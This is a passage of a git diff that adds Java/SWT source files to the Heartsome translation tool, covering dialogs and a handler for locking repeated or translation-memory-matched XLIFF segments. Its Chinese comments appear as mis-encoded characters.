isLockInnerRepeatedSegment() { + return lockInnerRepeatedSegment; + } + + /** + * 是å¦é”å®šè®°å¿†åº“å®Œå…¨åŒ¹é… + * @return ; + */ + public boolean isLockTM100Segment() { + return lockTM100Segment; + } + + /** + * 是å¦é”å®šè®°å¿†åº“ä¸Šä¸‹æ–‡åŒ¹é… + * @return ; + */ + public boolean isLockTM101Segment() { + return lockTM101Segment; + } + + /** + * 获å–tableViewer的填充内容 + * @return + */ + public String[][] getTableData() { + ArrayList tableDataList = new ArrayList(); + for (int i = 0; i < xliffFiles.size(); i++) { + String[] tableInfo = new String[] { "" + (i + 1), xliffFiles.get(i).getFullPath().toOSString() }; + tableDataList.add(tableInfo); + } + return tableDataList.toArray(new String[][] {}); + } + + /** + * tableViewer的标签æ供器 + */ + class TableViewerLabelProvider extends LabelProvider implements ITableLabelProvider { + public Image getColumnImage(Object element, int columnIndex) { + return null; + } + + public String getColumnText(Object element, int columnIndex) { + if (element instanceof String[]) { + String[] array = (String[]) element; + return array[columnIndex]; + } + return null; + } + } + + @Override + public boolean close() { + if(logoImage != null && !logoImage.isDisposed()){ + logoImage.dispose(); + } + return super.close(); + } + +} diff --git a/ts/net.heartsome.cat.ts.lockrepeat/src/net/heartsome/cat/ts/lockrepeat/dialog/LockRepeatedSegmentResultDialog.java b/ts/net.heartsome.cat.ts.lockrepeat/src/net/heartsome/cat/ts/lockrepeat/dialog/LockRepeatedSegmentResultDialog.java new file mode 100644 index 0000000..659cccb --- /dev/null +++ b/ts/net.heartsome.cat.ts.lockrepeat/src/net/heartsome/cat/ts/lockrepeat/dialog/LockRepeatedSegmentResultDialog.java @@ -0,0 +1,261 @@ +/** + * PreTranslationResultDialog.java + * + * Version information : + * + * Date:Oct 20, 2011 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.ts.lockrepeat.dialog; + +import java.util.ArrayList; +import java.util.Collections; +import java.util.List; +import java.util.Map; + +import net.heartsome.cat.common.resources.ResourceUtils; +import net.heartsome.cat.ts.lockrepeat.resource.Messages; + +import org.eclipse.core.resources.IFile; +import org.eclipse.jface.dialogs.Dialog; +import org.eclipse.jface.dialogs.IDialogConstants; +import org.eclipse.jface.viewers.ArrayContentProvider; +import org.eclipse.jface.viewers.ITableLabelProvider; +import org.eclipse.jface.viewers.LabelProvider; +import org.eclipse.jface.viewers.TableViewer; +import org.eclipse.jface.viewers.TableViewerColumn; +import org.eclipse.swt.SWT; +import org.eclipse.swt.graphics.Image; +import org.eclipse.swt.graphics.Point; +import org.eclipse.swt.layout.GridData; +import org.eclipse.swt.layout.GridLayout; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Control; +import org.eclipse.swt.widgets.Shell; +import org.eclipse.swt.widgets.Table; +import org.eclipse.swt.widgets.TableColumn; + +/** + * é”定é‡å¤æ–‡æœ¬æ®µç»“果对è¯æ¡† + * @author weachy + * @version + * @since JDK1.5 + */ +public class LockRepeatedSegmentResultDialog extends Dialog { + private TableViewer tableViewer; + + private List filesPath; + + private Map lockedInnerRepeatedResault; + private Map lockedFullMatchResult; + private Map lockedContextResult; + private Map tuNumResult; + + /** + * Create the dialog. + * @param parentShell + */ + public LockRepeatedSegmentResultDialog(Shell parentShell, List filesPath) { + super(parentShell); + this.filesPath = filesPath; + lockedInnerRepeatedResault = Collections.EMPTY_MAP; + lockedFullMatchResult = Collections.EMPTY_MAP; + lockedContextResult = Collections.EMPTY_MAP; + tuNumResult = Collections.EMPTY_MAP; + } + + @Override + protected void configureShell(Shell newShell) { + super.configureShell(newShell); + newShell.setText(Messages.getString("dialog.LockRepeatedSegmentResultDialog.title")); + } + + /** + * Create contents of the dialog. + * @param parent + */ + @Override + protected Control createDialogArea(Composite parent) { + Composite container = (Composite) super.createDialogArea(parent); + container.setLayout(new GridLayout(1, false)); + + Composite composite = new Composite(container, SWT.NONE); + GridLayout gl_composite = new GridLayout(1, false); + gl_composite.verticalSpacing = 0; + gl_composite.marginWidth = 0; + gl_composite.marginHeight = 0; + composite.setLayout(gl_composite); + composite.setLayoutData(new GridData(SWT.FILL, SWT.FILL, true, true, 1, 1)); + + tableViewer = new TableViewer(composite, SWT.BORDER | SWT.FULL_SELECTION | SWT.V_SCROLL | SWT.H_SCROLL); + Table table = tableViewer.getTable(); + + GridData tableGd = new GridData(SWT.FILL, SWT.FILL, true, true, 1, 1); + tableGd.heightHint = 220; + table.setLayoutData(tableGd); + + table.setLinesVisible(true); + table.setHeaderVisible(true); + + String[] clmnTitles = new String[] { Messages.getString("dialog.LockRepeatedSegmentResultDialog.clmnTitles1"), + Messages.getString("dialog.LockRepeatedSegmentResultDialog.clmnTitles2"), + Messages.getString("dialog.LockRepeatedSegmentResultDialog.clmnTitles3"), + Messages.getString("dialog.LockRepeatedSegmentResultDialog.clmnTitles4"), + Messages.getString("dialog.LockRepeatedSegmentResultDialog.clmnTitles5"), + Messages.getString("dialog.LockRepeatedSegmentResultDialog.clmnTitles6") }; + int[] clmnBounds = { 60, 200, 100, 110, 110, 110 }; + for (int i = 0; i < clmnTitles.length; i++) { + createTableViewerColumn(tableViewer, clmnTitles[i], clmnBounds[i], i); + } + + tableViewer.setLabelProvider(new TableViewerLabelProvider()); + tableViewer.setContentProvider(new ArrayContentProvider()); + tableViewer.setInput(this.getTableViewerInput()); + + return container; + } + + /** + * Create contents of the button bar. + * @param parent + */ + @Override + protected void createButtonsForButtonBar(Composite parent) { + createButton(parent, IDialogConstants.OK_ID, IDialogConstants.OK_LABEL, true); + } + + /** + * Return the initial size of the dialog. + */ + @Override + protected Point getInitialSize() { + return getShell().computeSize(SWT.DEFAULT, SWT.DEFAULT); + } + + private String[][] getTableViewerInput() { + List rows = new ArrayList(); + int i = 1; + for (IFile iFile : filesPath) { + String workspacePath = iFile.getFullPath().toOSString(); + + String xlfPath = ResourceUtils.iFileToOSPath(iFile); + Object tmp = tuNumResult.get(xlfPath); + String tuSum = tmp == null ? "0" : tmp.toString(); + tmp = lockedInnerRepeatedResault.get(xlfPath); + String lockedInnerRepeatedNum = tmp == null ? "0" : tmp.toString(); + tmp = lockedFullMatchResult.get(xlfPath); + String lockedFullMatchNum = tmp == null ? "0" : tmp.toString(); + tmp = lockedContextResult.get(xlfPath); + String lockedContextMatchNum = tmp == null ? "0" : tmp.toString(); + String[] row = new String[] { String.valueOf(i++), workspacePath, tuSum, lockedInnerRepeatedNum, + lockedContextMatchNum, lockedFullMatchNum }; + rows.add(row); + } + return rows.toArray(new String[][] {}); + } + + /** + * 设置TableViewer 列属性 + * @param viewer + * @param title + * 列标题 + * @param bound + * 列宽 + * @param colNumber + * 列åºå· + * @return {@link TableViewerColumn}; + */ + private TableViewerColumn createTableViewerColumn(TableViewer viewer, String title, int bound, final int colNumber) { + final TableViewerColumn viewerColumn = new TableViewerColumn(viewer, SWT.NONE | SWT.Resize); + final TableColumn column = viewerColumn.getColumn(); + column.setText(title); + column.setWidth(bound); + column.setResizable(true); + column.setMoveable(true); + return viewerColumn; + } + + /** + * tableViewer的标签æ供器 + * @author Jason + */ + class TableViewerLabelProvider extends LabelProvider implements ITableLabelProvider { + public Image getColumnImage(Object element, int columnIndex) { + return null; + } + + public String getColumnText(Object element, int columnIndex) { + if (element instanceof String[]) { + String[] array = (String[]) element; + return array[columnIndex]; + } + return null; + } + } + + /** + * @param tableViewer + * the tableViewer to set + */ + public void setTableViewer(TableViewer tableViewer) { + this.tableViewer = tableViewer; + } + + /** + * @param lockedInnerRepeatedResault + * the lockedInnerRepeatedResault to set; + */ + public void setLockedInnerRepeatedResault(Map lockedInnerRepeatedResault) { + this.lockedInnerRepeatedResault = lockedInnerRepeatedResault; + } + + /** + * @param lockedFullMatchResult + * the lockedFullMatchResult to set + */ + public void setLockedFullMatchResult(Map lockedFullMatchResult) { + this.lockedFullMatchResult = lockedFullMatchResult; + } + + /** + * @param lockedContextResult + * the lockedContextResult to set + */ + public void setLockedContextResult(Map lockedContextResult) { + this.lockedContextResult = lockedContextResult; + } + + /** + * @param tuNumResult + * the tuNumResult to set + */ + public void setTuNumResult(Map tuNumResult) { + this.tuNumResult = tuNumResult; + } + + public int getLockedContextResult(String filePath){ + if(null ==this.lockedContextResult || this.lockedContextResult.isEmpty() ){ + return -1; + } + return this.lockedContextResult.get(filePath); + } + + + public int getLockedFullMatchResult(String filePath){ + if(null ==this.lockedFullMatchResult || this.lockedFullMatchResult.isEmpty() ){ + return -1; + } + return this.lockedFullMatchResult.get(filePath); + } + + public int getLockedInnerRepeatedResault(String filePath){ + if(null ==this.lockedInnerRepeatedResault || this.lockedInnerRepeatedResault.isEmpty()){ + return -1; + } + return this.lockedInnerRepeatedResault.get(filePath); + } +} diff --git a/ts/net.heartsome.cat.ts.lockrepeat/src/net/heartsome/cat/ts/lockrepeat/handler/LockRepeatedSegmentHandler.java b/ts/net.heartsome.cat.ts.lockrepeat/src/net/heartsome/cat/ts/lockrepeat/handler/LockRepeatedSegmentHandler.java new file mode 100644 index 0000000..e61b8a2 --- /dev/null +++ b/ts/net.heartsome.cat.ts.lockrepeat/src/net/heartsome/cat/ts/lockrepeat/handler/LockRepeatedSegmentHandler.java @@ -0,0 +1,616 @@ +package net.heartsome.cat.ts.lockrepeat.handler; + +import java.io.File; +import java.lang.reflect.InvocationTargetException; +import java.text.MessageFormat; +import java.util.ArrayList; +import java.util.Arrays; +import java.util.HashMap; +import java.util.Iterator; +import java.util.List; +import java.util.Map; +import java.util.Map.Entry; + +import net.heartsome.cat.common.core.Constant; +import net.heartsome.cat.common.file.XLFValidator; +import net.heartsome.cat.common.resources.ResourceUtils; +import net.heartsome.cat.common.ui.handlers.AbstractSelectProjectFilesHandler; +import net.heartsome.cat.common.util.CommonFunction; +import net.heartsome.cat.ts.core.file.RowIdUtil; +import net.heartsome.cat.ts.core.file.XLFHandler; +import net.heartsome.cat.ts.lockrepeat.dialog.LockRepeatedSegmentDialog; +import net.heartsome.cat.ts.lockrepeat.dialog.LockRepeatedSegmentResultDialog; +import net.heartsome.cat.ts.lockrepeat.resource.Messages; +import net.heartsome.cat.ts.tm.match.TmMatcher; +import net.heartsome.cat.ts.ui.util.MultiFilesOper; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.HsMultiActiveCellEditor; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable; + +import org.eclipse.core.commands.ExecutionEvent; +import org.eclipse.core.commands.ExecutionException; +import org.eclipse.core.resources.IFile; +import org.eclipse.core.resources.IProject; +import org.eclipse.core.runtime.IProgressMonitor; +import org.eclipse.core.runtime.SubProgressMonitor; +import org.eclipse.jface.dialogs.MessageDialog; +import org.eclipse.jface.dialogs.ProgressMonitorDialog; +import org.eclipse.jface.operation.IRunnableWithProgress; +import org.eclipse.swt.widgets.Display; +import org.eclipse.ui.IEditorInput; +import org.eclipse.ui.IEditorPart; +import org.eclipse.ui.IEditorReference; +import org.eclipse.ui.IWorkbenchPage; +import org.eclipse.ui.IWorkbenchWindow; +import org.eclipse.ui.handlers.HandlerUtil; +import org.eclipse.ui.part.FileEditorInput; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +/** + * é”定é‡å¤æ–‡æœ¬æ®µ (修改者:robert 2012-03-24) + * @author weachy + * @version + * @since JDK1.5 + */ +public class LockRepeatedSegmentHandler extends AbstractSelectProjectFilesHandler { + + private static final Logger LOGGER = LoggerFactory.getLogger(LockRepeatedSegmentHandler.class); + + private static final String XLIFF_EDITOR_ID = "net.heartsome.cat.ts.ui.xliffeditor.nattable.editor"; + private IWorkbenchWindow window; + /** 标识æŸæ–‡ä»¶æ˜¯å¦è¢«é”定 */ + private boolean isLocked; + private List list = new ArrayList(); + private XLIFFEditorImplWithNatTable nattable; + /** 在针对éžç¼–辑器打开文件的情况下,是å¦å•ä¸ªå¤„ç† */ + private boolean continuee; + private XLIFFEditorImplWithNatTable singleNattable; + /** 记忆库æ“作类,用æ¥æŸ¥è¯¢è®°å¿†åº“çš„æ•°æ® */ + private TmMatcher tmMatcher; + private IProject curProject; + /** 是å¦é€€å‡ºæ“作 */ + private boolean isCancel; + + /** + * 是å¦å†…部é‡å¤é”定 + */ + private boolean isLockInnerRepeatedSegment; + /** + * 是å¦å®Œå…¨åŒ¹é…é”定 + */ + private boolean isLockTM100Segment; + /** + * 是å¦ä¸Šä¸‹æ–‡é”定 + */ + private boolean isLockTM101Segment; + @Override + public Object execute(final ExecutionEvent event, final List iFileList) { + list = iFileList; + tmMatcher = new TmMatcher(); + isCancel = false; + continuee = true; + isLocked = false; + + if (list == null || list.isEmpty()) { + if (list.size() == 0) { + MessageDialog.openInformation(shell, + Messages.getString("translation.LockRepeatedSegmentHandler.msgTitle"), + Messages.getString("translation.LockRepeatedSegmentHandler.msg1")); + return null; + } + return null; + } + + try { + window = HandlerUtil.getActiveWorkbenchWindowChecked(event); + } catch (ExecutionException e1) { + LOGGER.error("", e1); + e1.printStackTrace(); + } + + // 首先验è¯æ˜¯å¦æ˜¯åˆå¹¶æ‰“开的文件 --robert + if (isEditor) { + IEditorReference[] editorRefe = window.getActivePage().findEditors(new FileEditorInput(list.get(0)), + XLIFF_EDITOR_ID, IWorkbenchPage.MATCH_INPUT | IWorkbenchPage.MATCH_ID); + if (editorRefe.length <= 0) { + return null; + } + + nattable = (XLIFFEditorImplWithNatTable) editorRefe[0].getEditor(true); + // 针对åˆå¹¶æ‰“å¼€ + if (nattable.isMultiFile()) { + list = ResourceUtils.filesToIFiles(nattable.getMultiFileList()); + } + } + + // æ·»åŠ éªŒè¯ peason + List lstFiles = new ArrayList(); + XLFValidator.resetFlag(); + for (IFile iFile : list) { + if (!XLFValidator.validateXliffFile(iFile)) { + lstFiles.add(iFile); + } + } + XLFValidator.resetFlag(); + if (!(list instanceof ArrayList)) { + list = new ArrayList(list); + } + list.removeAll(lstFiles); + if (list.size() == 0) { + return null; + } + + CommonFunction.removeRepeateSelect(list); + + final LockRepeatedSegmentDialog dialog = new LockRepeatedSegmentDialog(shell, list, + Messages.getString("translation.LockRepeatedSegmentHandler.dialog")); + if (dialog.open() == LockRepeatedSegmentDialog.OK) { + isLockInnerRepeatedSegment =dialog.isLockInnerRepeatedSegment(); + isLockTM100Segment =dialog.isLockTM100Segment(); + isLockTM101Segment=dialog.isLockTM101Segment(); + if (!dialog.isLockInnerRepeatedSegment() && !dialog.isLockTM100Segment() && !dialog.isLockTM101Segment()) { // “é”定内部â€ã€â€œé”定100%â€ã€â€œé”定101%â€éƒ½æœªé€‰ä¸­ã€‚ + return null; + } + if (!isEditor) { + // 如果针对å•ä¸ªæ–‡ä»¶ï¼Œ 先验è¯æ˜¯å¦æœ‰åˆå¹¶æ‰“开的 + MultiFilesOper oper = new MultiFilesOper(list.get(0).getProject(), (ArrayList) list); + // 如果有åˆå¹¶æ‰“开的文件,那么将这ç§è½¬æ¢æˆé’ˆå¯¹ç¼–辑器的方å¼å¤„ç† + if (oper.validExist()) { + final IFile multiTempIFile = oper.getMultiFilesTempIFile(true); + IEditorReference[] editorRefe = window.getActivePage().findEditors( + new FileEditorInput(multiTempIFile), XLIFF_EDITOR_ID, + IWorkbenchPage.MATCH_INPUT | IWorkbenchPage.MATCH_ID); + // 如果这几个文件没有åˆå¹¶æ‰“开, + if (editorRefe.length > 0) { + nattable = (XLIFFEditorImplWithNatTable) editorRefe[0].getEditor(true); + continuee = false; + } + } + } + + // å¼€å§‹è¿›è¡Œå¤„ç† + IRunnableWithProgress runnable = new IRunnableWithProgress() { + public void run(IProgressMonitor monitor) throws InvocationTargetException, InterruptedException { + try { + int totalWork = dialog.isLockInnerRepeatedSegment() ? list.size() : 0; + totalWork = (dialog.isLockTM100Segment() || dialog.isLockTM101Segment()) ? totalWork * 2 + : totalWork; + monitor.beginTask(Messages.getString("translation.LockRepeatedSegmentHandler.task1"), totalWork); + // 修改结果显示为是å¦æˆåŠŸ + final LockRepeatedSegmentResultDialog lrsrd = new LockRepeatedSegmentResultDialog(shell, + list); + // 是å¦è¿›è¡Œå¤–éƒ¨åŒ¹é… + boolean checkTM = false; + curProject = list.get(0).getProject(); + // é”定外部完全匹é…ä¸Žå¤–éƒ¨ä¸Šä¸‹æ–‡åŒ¹é… + if ((dialog.isLockTM100Segment() || dialog.isLockTM101Segment())) { + // 如果是针对编辑器,那么将里é¢çš„æ–‡ä»¶è¿›è¡Œç»Ÿä¸€å¤„ç† + if (isEditor) { + LockTMSegment lts = lockTMSegmentOFEditor(list, dialog.isLockTM100Segment(), + dialog.isLockTM101Segment(), monitor); + // 用户指定退出æ“作 + if (lts == null && isCancel) { + return; + } + lrsrd.setLockedFullMatchResult(lts.getLockedFullMatchResult()); + lrsrd.setLockedContextResult(lts.getLockedContextResult()); + lrsrd.setTuNumResult(lts.getTuNumResult()); + checkTM = true; + } else { + if (continuee) { + Map lockedFullMatchResultMap = new HashMap(); + Map lockedContextMatchResultMap = new HashMap(); + Map lockedTuNumResultMap = new HashMap(); + for (int i = 0; i < list.size(); i++) { + IFile iFile = list.get(i); + LockTMSegment lts = lockTMSegment(Arrays.asList(iFile), + dialog.isLockTM100Segment(), dialog.isLockTM101Segment(), monitor); + if (lts == null && isCancel) { + return; + } + // 返回的为空,是解æžå¼‚常的文件被删除了。 + if (lts != null) { + lockedFullMatchResultMap.putAll(lts.getLockedFullMatchResult()); + lockedContextMatchResultMap.putAll(lts.getLockedContextResult()); + lockedTuNumResultMap.putAll(lts.getTuNumResult()); + } else { + i--; + } + } + lrsrd.setLockedFullMatchResult(lockedFullMatchResultMap); + lrsrd.setLockedContextResult(lockedContextMatchResultMap); + lrsrd.setTuNumResult(lockedTuNumResultMap); + checkTM = true; + } else { + LockTMSegment lts = lockTMSegmentOFEditor(list, dialog.isLockTM100Segment(), + dialog.isLockTM101Segment(), monitor); + if (lts == null && isCancel) { + return; + } + lrsrd.setLockedFullMatchResult(lts.getLockedFullMatchResult()); + lrsrd.setLockedContextResult(lts.getLockedContextResult()); + lrsrd.setTuNumResult(lts.getTuNumResult()); + checkTM = true; + } + } + } + + // é”定内部é‡å¤ + if (dialog.isLockInnerRepeatedSegment()) { + SubProgressMonitor subMonitor = new SubProgressMonitor(monitor, list.size(), + SubProgressMonitor.PREPEND_MAIN_LABEL_TO_SUBTASK); + HashMap lockedInnerRepeatedResault = new HashMap(); + HashMap tuNumResult = null; + if (!checkTM) { + tuNumResult = new HashMap(); + } + + Map resMap = lockInnerRepeatedSegment(list, subMonitor, checkTM); + for (IFile iFile : list) { + String filePath = ResourceUtils.iFileToOSPath(iFile); + int[] res = resMap.get(filePath); + if (!checkTM) { + int countTU = res[0]; + tuNumResult.put(filePath, countTU); + } + int countLockedInnerRepeatedSegment = res[1]; + lockedInnerRepeatedResault.put(filePath, countLockedInnerRepeatedSegment); + } + lrsrd.setLockedInnerRepeatedResault(lockedInnerRepeatedResault); + if (!checkTM) { + lrsrd.setTuNumResult(tuNumResult); + } + + } + + Display.getDefault().asyncExec(new Runnable() { + public void run() { + IEditorPart editor = HandlerUtil.getActiveEditor(event); + if (editor != null && editor instanceof XLIFFEditorImplWithNatTable) { + XLIFFEditorImplWithNatTable xliffEditor = (XLIFFEditorImplWithNatTable) editor; + xliffEditor.reloadXliff(); + } + // lrsrd.open(); + if(hasWrongResults(list, lrsrd)){ + MessageDialog.openInformation(shell, + Messages.getString("translation.LockRepeatedSegmentHandler.msgTitle"), + Messages.getString("dialog.LockRepeatedSegmentResultDialog.unlocksuccesful")); + }else{ + MessageDialog.openInformation(shell, + Messages.getString("translation.LockRepeatedSegmentHandler.msgTitle"), + Messages.getString("dialog.LockRepeatedSegmentResultDialog.locksuccesful")); + } + lrsrd.close(); + HsMultiActiveCellEditor.refrushCellsEditAbility(); + } + }); + } finally { + + monitor.done(); + } + } + }; + try { + new ProgressMonitorDialog(shell).run(true, true, runnable); + } catch (Exception e) { + e.printStackTrace(); + } + } + return null; + } + + /** + * 专门处ç†ä»¥ nattble å½¢å¼æ‰“开的文件 + * @param iFileList + * @param isLockTM100Segment + * @param isLockTM101Segment + * @param monitor + * @return ; + */ + private LockTMSegment lockTMSegmentOFEditor(List iFileList, boolean isLockTM100Segment, + boolean isLockTM101Segment, IProgressMonitor monitor) { + XLFHandler xlfHandler = nattable.getXLFHandler(); + SubProgressMonitor subMonitor = new SubProgressMonitor(monitor, iFileList.size(), + SubProgressMonitor.PREPEND_MAIN_LABEL_TO_SUBTASK); + subMonitor.beginTask("", 10); + subMonitor.setTaskName(Messages.getString("translation.LockRepeatedSegmentHandler.task2")); + + // 解æžæ–‡ä»¶ï¼Œå  1/10,这里是直接获å–编辑器的XLFHandler,æ•…ä¸éœ€è§£æž + if (!monitorWork(subMonitor, 1)) { + return null; + } + + List filesPath = ResourceUtils.IFilesToOsPath(iFileList); + LockTMSegment lts = new LockTMSegment(xlfHandler, tmMatcher, filesPath, curProject); + lts.setLockedContextMatch(isLockTM101Segment); + lts.setLockedFullMatch(isLockTM100Segment); + // 查记忆库并é”定,å å‰©ä¸‹çš„ 9/10。 + IProgressMonitor subSubMonitor = new SubProgressMonitor(monitor, 9, + SubProgressMonitor.PREPEND_MAIN_LABEL_TO_SUBTASK); + if (!lts.executeTranslation(subSubMonitor)) { + subSubMonitor.done(); + subMonitor.done(); + isCancel = true; + return null; + } + subSubMonitor.done(); + subMonitor.done(); + + if (nattable != null) { + Display.getDefault().syncExec(new Runnable() { + public void run() { + nattable.getTable().redraw(); + } + }); + } + Map> needLockRowIdMap = lts.getNeedLockRowIdMap(); + if (needLockRowIdMap.size() > 0) { + lockTU(xlfHandler, needLockRowIdMap); + } + return lts; + } + + private LockTMSegment lockTMSegment(final List iFileList, boolean isLockTM100Segment, + boolean isLockTM101Segment, IProgressMonitor monitor) { + SubProgressMonitor subMonitor = new SubProgressMonitor(monitor, iFileList.size(), + SubProgressMonitor.PREPEND_MAIN_LABEL_TO_SUBTASK); + subMonitor.beginTask("", 10); + subMonitor.setTaskName(Messages.getString("translation.LockRepeatedSegmentHandler.task2")); + XLFHandler xlfHandler = null; + singleNattable = null; + Display.getDefault().syncExec(new Runnable() { + public void run() { + IEditorReference[] editorRefer = window.getActivePage().findEditors( + new FileEditorInput(iFileList.get(0)), XLIFF_EDITOR_ID, + IWorkbenchPage.MATCH_INPUT | IWorkbenchPage.MATCH_ID); + if (editorRefer.length > 0) { + singleNattable = ((XLIFFEditorImplWithNatTable) editorRefer[0].getEditor(true)); + } + } + }); + if (singleNattable != null) { + xlfHandler = singleNattable.getXLFHandler(); + } + + if (xlfHandler == null) { + xlfHandler = new XLFHandler(); + for (final IFile iFile : iFileList) { + File file = iFile.getLocation().toFile(); + try { + Map resultMap = xlfHandler.openFile(file); + if (resultMap == null + || Constant.RETURNVALUE_RESULT_SUCCESSFUL != (Integer) resultMap + .get(Constant.RETURNVALUE_RESULT)) { + // 打开文件失败。 + Display.getDefault().syncExec(new Runnable() { + public void run() { + MessageDialog.openInformation(shell, Messages + .getString("translation.LockRepeatedSegmentHandler.msgTitle"), MessageFormat + .format(Messages.getString("translation.LockRepeatedSegmentHandler.msg2"), + iFile.getLocation().toOSString())); + } + }); + list.remove(iFile); + return null; + } + } catch (Exception e) { + LOGGER.error("", e); + e.printStackTrace(); + } + if (!monitorWork(monitor, 1)) { + return null; + } + } + } else { + subMonitor.worked(1); + } + + List filesPath = ResourceUtils.IFilesToOsPath(iFileList); + LockTMSegment lts = new LockTMSegment(xlfHandler, tmMatcher, filesPath, curProject); + lts.setLockedContextMatch(isLockTM101Segment); + lts.setLockedFullMatch(isLockTM100Segment); + // 查记忆库并é”定,å å‰©ä¸‹çš„ 9/10。 + SubProgressMonitor subSubMonitor = new SubProgressMonitor(subMonitor, 9, + SubProgressMonitor.PREPEND_MAIN_LABEL_TO_SUBTASK); + if (!lts.executeTranslation(subSubMonitor)) { + isCancel = true; + subSubMonitor.done(); + subMonitor.done(); + return null; + } + subSubMonitor.done(); + subMonitor.done(); + + if (singleNattable != null) { + Display.getDefault().syncExec(new Runnable() { + public void run() { + singleNattable.getTable().redraw(); + } + }); + } + Map> needLockRowIdMap = lts.getNeedLockRowIdMap(); + if (needLockRowIdMap.size() > 0) { + lockTU(xlfHandler, needLockRowIdMap); + } + return lts; + } + + /** + * 概æ®å†…部匹é…结果,é”定文本段。 + * @param xlfHandler + * @param rowIdMap + */ + private void lockTU(final XLFHandler xlfHandler, Map> rowIdMap) { + Iterator>> it = rowIdMap.entrySet().iterator(); + while (it.hasNext()) { + isLocked = false; + final Entry> rowIdsEntry = it.next(); + final String fileLC = rowIdsEntry.getKey(); + // 查看该文件是å¦æ‰“开,若打开,则获editorçš„handler,若未打开,则直接使用当å‰handler + final IEditorInput input = new FileEditorInput(ResourceUtils.fileToIFile(fileLC)); + final IEditorReference[] editorRefes = window.getActivePage().getEditorReferences(); + + Display.getDefault().syncExec(new Runnable() { + public void run() { + for (int i = 0; i < editorRefes.length; i++) { + if (XLIFF_EDITOR_ID.equals(editorRefes[i].getId())) { + // 先判断打开å•ä¸ªæ–‡ä»¶çš„情况 + XLIFFEditorImplWithNatTable nattable = (XLIFFEditorImplWithNatTable) (editorRefes[i] + .getEditor(true)); + if (!nattable.isMultiFile()) { + if (nattable.getEditorInput().equals(input)) { + nattable.getXLFHandler().lockTransUnits(rowIdsEntry.getValue(), true); + isLocked = true; + nattable.getTable().redraw(); + } + } else { + // 这是åˆå¹¶æ‰“开的情况 + if (nattable.getMultiFileList().indexOf(new File(fileLC)) >= 0) { + nattable.getXLFHandler().lockTransUnits(rowIdsEntry.getValue(), true); + isLocked = true; + nattable.getTable().redraw(); + } + ; + } + } + } + // 如果未被é”定(当å‰æ–‡ä»¶æ²¡æœ‰æ‰“开),就调用当å‰XLFHandler去é”定所有文本段 + if (!isLocked) { + xlfHandler.lockTransUnits(rowIdsEntry.getValue(), true); + } + } + }); + } + } + + /** + * é”定内部é‡å¤æ–‡æœ¬æ®µ + * @param iFile + * @param monitor + * @return ; + */ + private Map lockInnerRepeatedSegment(List iFileList, IProgressMonitor monitor, boolean checkTM) { + Map repeatedMap = new HashMap(); + final XLFHandler handler = new XLFHandler(); + Map lockedSizeMap = new HashMap(); + monitor.beginTask(Messages.getString("translation.LockRepeatedSegmentHandler.task3"), iFileList.size() * 3); + List removeiFileList = new ArrayList(); + + for (final IFile iFile : iFileList) { + File file = iFile.getLocation().toFile(); + try { + Map resultMap = handler.openFile(file); + if (resultMap == null + || Constant.RETURNVALUE_RESULT_SUCCESSFUL != (Integer) resultMap + .get(Constant.RETURNVALUE_RESULT)) { + // 打开文件失败。 + Display.getDefault().syncExec(new Runnable() { + public void run() { + MessageDialog.openInformation(shell, Messages + .getString("translation.LockRepeatedSegmentHandler.msgTitle"), MessageFormat + .format(Messages.getString("translation.LockRepeatedSegmentHandler.msg2"), iFile + .getLocation().toOSString())); + } + }); + removeiFileList.add(iFile); + repeatedMap.put(file.getPath(), new int[] { 0, 0 }); + } + + } catch (Exception e) { + LOGGER.error("", e); + e.printStackTrace(); + } + lockedSizeMap.put(iFile.getLocation().toOSString(), 0); + if (!monitorWork(monitor, 1)) { + return null; + } + } + + Map> languages = handler.getLanguages(); + for (Entry> entry : languages.entrySet()) { + String srcLanguage = entry.getKey(); + for (String tgtLanguage : entry.getValue()) { + ArrayList rowIds = handler.getRepeatedSegmentExceptFirstOne(srcLanguage, tgtLanguage); + + // 将所有的RowId进行按文件åæŽ’åº + Map> lockedRowidsMap = RowIdUtil.groupRowIdByFileName(rowIds); + // å°†é”定的文件本个数添加到map中 + for (String rowId : rowIds) { + String fileLC = RowIdUtil.getFileNameByRowId(rowId); + lockedSizeMap.put(fileLC, lockedSizeMap.get(fileLC) + 1); + } + if (!monitorWork(monitor, iFileList.size())) { + isCancel = true; + return null; + } + lockTU(handler, lockedRowidsMap); + } + } + + // 如果没有进行外部匹é…,那么就必须获å–æ¯ä¸ªæ–‡ä»¶çš„TUèŠ‚ç‚¹æ•°é‡ + for (IFile iFile : iFileList) { + if (removeiFileList.indexOf(iFile) >= 0) { + continue; + } + String iFileLc = iFile.getLocation().toOSString(); + repeatedMap.put(iFileLc, + new int[] { checkTM ? -1 : handler.countTransUnit(iFileLc), lockedSizeMap.get(iFileLc) }); + if (!monitorWork(monitor, 1)) { + isCancel = true; + return null; + } + } + + monitor.done(); + return repeatedMap; + } + + @Override + public String[] getLegalFileExtensions() { + return CommonFunction.xlfExtesionArray; + } + + /** + * 进度æ¡å‰è¿›ç®¡ç†æ–¹æ³•ï¼Œå¦‚果返回false,则表示退出æ“作 + * @param monitor + * @param interval + * @return + */ + private boolean monitorWork(IProgressMonitor monitor, int interval) { + if (monitor.isCanceled()) { + isCancel = true; + monitor.done(); + return false; + } + monitor.worked(interval); + return true; + } + + /** + * 修改é‡å¤é”定结果是å¦æœ‰é”™è¯¯ + * @param iFileList + * @param lrsrd ; + */ + private boolean 